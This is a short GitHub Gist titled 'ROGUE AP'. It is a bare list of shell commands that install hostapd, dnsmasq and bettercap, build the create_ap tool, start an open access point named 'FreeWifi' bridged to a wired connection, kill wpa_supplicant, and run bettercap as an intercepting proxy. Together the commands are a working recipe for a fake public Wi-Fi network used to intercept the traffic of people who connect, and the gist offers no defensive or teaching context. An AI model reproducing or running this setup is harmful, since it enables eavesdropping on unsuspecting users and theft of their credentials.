Created
April 6, 2020 12:47
-
-
Save castexyz/e167ed716dac098f511d4b7aa464a121 to your computer and use it in GitHub Desktop.
ROGUE AP
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get install haveged hostapd git util-linux procps iproute2 iw dnsmasq iptables bettercap | |
git clone https://github.com/oblique/create_ap | |
cd create_ap | |
sudo make install | |
sudo systemctl stop NetworkManager | |
Create AP (create_ap <wifi-interface> [<interface-with-internet>] [<access-point-name> [<passphrase>]]) | |
sudo create_ap wlan1 eth0 FreeWifi | |
If you get error like "Error: Failed to run hostapd, maybe a tool is interfering." , then try to kill wpa_supplicant | |
killall -9 wpa_supplicant | |
sudo bettercap -X -I wlan0 -S NONE --proxy --no-discovery |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment